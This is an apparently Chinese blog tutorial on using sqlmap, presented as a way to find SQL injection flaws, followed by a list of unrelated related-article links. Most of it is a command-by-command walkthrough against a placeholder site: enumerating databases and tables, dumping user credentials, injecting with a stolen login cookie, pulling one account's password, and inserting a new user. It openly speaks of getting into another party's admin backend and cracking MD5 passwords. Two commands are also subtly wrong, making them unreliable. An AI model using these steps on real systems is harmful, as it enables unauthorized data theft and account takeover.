sqlmap注入语句学习,帮助你排查SQL注入漏洞

摘要

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

sqlmap用于自动化检测和利用SQL注入漏洞。它支持各种数据库系统,如MySQL、PostgreSQL、Oracle、Microsoft SQL Server等。sqlmap的功能不仅包括发现和利用SQL注入漏洞,还可以帮助获取数据库中的数据、访问操作系统文件、执行操作系统命令等。

使用sqlmap可以对一些网站进行安全漏洞的测试、查找漏洞,及时修复安全漏洞,确保服务器安全,数据安全,预防入侵。

安装sqlmap

你可以进入sqlmap官网下载:https://sqlmap.org/

或者在github下载:https://github.com/sqlmapproject/sqlmap/zipball/master

解压后就是一个python程序目录,可以通过python命令执行各项安全测试。

使用sqlmap

进入sqlmap的目录,在其目录栏输入cmd即可进入命令行工具。


  1. 检测SQL注入点
    即检测这个URL是否存在SQL注入漏洞

    sqlmap -u 'http://xxx.com/?id=1'

  2. 获取数据库
    检测到有注入点,就开始获取其数据库名称

    sqlmap -u 'http://xxx.com/?id=1' --current-db

  3. 获取表
    获取当前数据库下的所有表(例如第2步获取到的数据库名为testdb)

    sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' --tables

  4. 获取字段
    获取这个表的字段(例如users表)

    sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' -T 'users' --tables

  5. 获取数据
    查看字段的数据,这里就可以看到账号密码之类的了,就可以随便登录后台,如果是使用了MD5加密的密码,还可通过解密方式获取到明文密码。

    sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' -T 'users' --dump

  6. 携带cookie进行注入
    如果有些需要登录后才可以获取到的敏感数据,就需要携带cookie进行注入。

    sqlmap u 'https://xxx.com/?id=1' --cookie='这里替换为登录后的cookie'

  7. 已知表名、用户名,查密码
    如果你全都获取到,就差一个登录密码就可以进入对方管理后台,则可以:

    sqlmap -u "https://xxx.com/?id=1" -D 数据库名称 -T 表名 -C "账号字段,密码字段" --dump --where="账号字段='账号'"

  8. 执行SQL语句
    如果你已经确定URL有SQL注入漏洞,获取到数据库名、表名、字段名等关键信息,你就可以执行一些SQL语句去列出其表信息,或者是插入数据,例如创建一个用户的语句。

    sqlmap -u 'https://xxx.com/?id=1' --sql-query="INSERT INTO users (username,password) VALUES ('test', '123456');"

总结

以上只是常见的sqlmap语句,你可以简单尝试一下初步学习,sqlmap的功能非常强大。

本文作者

TANKING

相关推荐
Olrookie1 分钟前
MySQL运维常用SQL
运维·数据库·sql·mysql·dba
数据库生产实战11 分钟前
ORACLE 19C ADG环境 如何快速删除1.8TB的分区表?有哪些注意事项?
数据库·oracle
blackorbird28 分钟前
使用 Overpass Turbo 查找监控摄像头
运维·服务器·数据库·windows
IT永勇32 分钟前
SQLite数据库基本操作
数据库·sqlite·嵌入式开发·增删改查·关系型数据库
洋不写bug34 分钟前
数据库的创建,查看,修改,删除,字符集编码和校验操作
android·数据库·adb
Yurko1339 分钟前
【C语言】环境安装(图文)与介绍
c语言·开发语言·学习
十安_数学好题速析40 分钟前
数论探秘:如何用模4思想破解平方数谜题
笔记·学习·高考
想ai抽43 分钟前
吃透大数据算法-算法地图(备用)
大数据·数据库·spark
weixin_307779131 小时前
Clickhouse导出库的表、视图、用户和角色定义的SQL语句
开发语言·数据库·算法·clickhouse·自动化
流星白龙1 小时前
【Qt】7.信号和槽_connect函数用法(1)
开发语言·数据库·qt